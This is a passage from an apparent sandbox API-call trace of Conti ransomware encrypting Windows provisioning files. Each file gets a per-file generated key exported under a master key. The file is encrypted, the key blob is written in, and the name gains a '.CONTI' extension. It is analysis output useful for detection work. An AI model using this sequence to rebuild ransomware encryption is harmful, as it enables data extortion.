	[0107.815] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml"
	[0107.815] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.815] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\152__Connections_Cellular_Vodafone.de (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\152__connections_cellular_vodafone.de (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.815] GetProcessHeap () returned 0x1720000
	[0107.815] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.815] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0107.815] GetProcessHeap () returned 0x1720000
	[0107.815] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1518 | out: hHeap=0x1720000) returned 1
	[0107.815] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.815] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x17c8370) returned 1
	[0107.815] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x497fc1c | out: pbData=0x17d244c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.816] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0107.816] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.817] GetLastError () returned 0x0
	[0107.817] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=728) returned 1
	[0107.817] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d8
	[0107.817] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x22c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.817] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.818] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.818] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.818] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d244c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d244c*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.820] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.820] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2d8, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2d8, lpOverlapped=0x0) returned 1
	[0107.820] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2d8, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2e0) returned 1
	[0107.820] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.820] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2e0, lpOverlapped=0x0) returned 1
	[0107.820] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.820] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d2440*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d2440*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.820] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.820] CloseHandle (hObject=0x2f4) returned 1
	[0107.820] GetProcessHeap () returned 0x1720000
	[0107.820] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0107.820] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml"
	[0107.820] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.CONTI"
	[0107.820] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\153__Connections_Cellular_Vodafone.de (Germany)_i1$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\153__connections_cellular_vodafone.de (germany)_i1$(__mvid)@wap.provxml.conti")) returned 1
	[0107.821] GetProcessHeap () returned 0x1720000
	[0107.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0107.821] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.821] GetProcessHeap () returned 0x1720000
	[0107.821] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0d08 | out: hHeap=0x1720000) returned 1
	[0107.821] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.821] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d4fa0 | out: phKey=0x17d4fa0*=0x17c8370) returned 1
	[0107.821] CryptExportKey (in: hKey=0x17c8370, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d4fa4, pdwDataLen=0x497fc1c | out: pbData=0x17d4fa4*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.822] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0107.822] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.822] GetLastError () returned 0x0
	[0107.822] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=480) returned 1
	[0107.822] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0107.822] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.823] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.824] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.824] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.824] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d4fa4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d4fa4*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.825] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.825] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x1e0, lpOverlapped=0x0) returned 1
	[0107.825] CryptEncrypt (in: hKey=0x17c8370, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1e0, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x1f0) returned 1
	[0107.825] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.825] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x1f0, lpOverlapped=0x0) returned 1
	[0107.826] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.826] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d4f98*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d4f98*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.826] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.826] CloseHandle (hObject=0x2f4) returned 1
	[0107.826] GetProcessHeap () returned 0x1720000
	[0107.826] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6557068
	[0107.826] lstrcpyW (in: lpString1=0x6557068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0107.826] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0107.826] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\154__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\154__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0107.827] GetProcessHeap () returned 0x1720000
	[0107.827] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6557068 | out: hHeap=0x1720000) returned 1
	[0107.827] CryptDestroyKey (hKey=0x17c8370) returned 1
	[0107.827] GetProcessHeap () returned 0x1720000
	[0107.827] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3dc0 | out: hHeap=0x1720000) returned 1
	[0107.827] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.827] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d28d8 | out: phKey=0x17d28d8*=0x17c7ef0) returned 1
	[0107.827] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d28dc, pdwDataLen=0x497fc1c | out: pbData=0x17d28dc*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.828] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0107.828] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.828] GetLastError () returned 0x0
	[0107.828] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=715) returned 1
	[0107.828] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0107.828] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.828] SetEndOfFile (hFile=0x2f4) returned 1
	[0107.828] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.828] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.828] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d28dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x497fbd4, lpOverlapped=0x0 | out: lpBuffer=0x17d28dc*, lpNumberOfBytesWritten=0x497fbd4*=0x20c, lpOverlapped=0x0) returned 1
	[0107.830] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.830] ReadFile (in: hFile=0x2f4, lpBuffer=0xd030000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x497fbf4, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesRead=0x497fbf4*=0x2cb, lpOverlapped=0x0) returned 1
	[0107.830] CryptEncrypt (in: hKey=0x17c7ef0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2cb, dwBufLen=0x500000 | out: pbData=0xd030000*, pdwDataLen=0x497fbec*=0x2d0) returned 1
	[0107.830] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.830] WriteFile (in: hFile=0x2f4, lpBuffer=0xd030000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x497fc08, lpOverlapped=0x0 | out: lpBuffer=0xd030000*, lpNumberOfBytesWritten=0x497fc08*=0x2d0, lpOverlapped=0x0) returned 1
	[0107.830] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.831] WriteFile (in: hFile=0x2f4, lpBuffer=0x17d28d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x497fc20, lpOverlapped=0x0 | out: lpBuffer=0x17d28d0*, lpNumberOfBytesWritten=0x497fc20*=0x8, lpOverlapped=0x0) returned 1
	[0107.831] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0107.831] CloseHandle (hObject=0x2f4) returned 1
	[0107.831] GetProcessHeap () returned 0x1720000
	[0107.831] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6557068
	[0107.831] lstrcpyW (in: lpString1=0x6557068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml"
	[0107.831] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.CONTI"
	[0107.831] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\155__Connections_Cellular_Vodafone Ghana (Ghana)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\155__connections_cellular_vodafone ghana (ghana)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0107.831] GetProcessHeap () returned 0x1720000
	[0107.831] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6557068 | out: hHeap=0x1720000) returned 1
	[0107.831] CryptDestroyKey (hKey=0x17c7ef0) returned 1
	[0107.832] GetProcessHeap () returned 0x1720000
	[0107.832] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d0900 | out: hHeap=0x1720000) returned 1
	[0107.832] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x497fc48, lpCompletionKey=0x497fc4c, lpOverlapped=0x497fc58) returned 1
	[0107.832] CryptGenKey (in: hProv=0x176b9b8, Algid=0x6610, dwFlags=0x1, phKey=0x17d3688 | out: phKey=0x17d3688*=0x17c7ef0) returned 1
	[0107.832] CryptExportKey (in: hKey=0x17c7ef0, hExpKey=0x175dd30, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d368c, pdwDataLen=0x497fc1c | out: pbData=0x17d368c*, pdwDataLen=0x497fc1c*=0x20c) returned 1
	[0107.832] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0107.833] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\156__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\156__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0107.833] GetLastError () returned 0x0
	[0107.833] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x497fbc8 | out: lpFileSize=0x497fbc8*=480) returned 1
	[0107.833] SetFilePointer (in: hFile=0x2f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0107.833] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.833] SetEndOfFile (hFile=0x2f4) returned 1
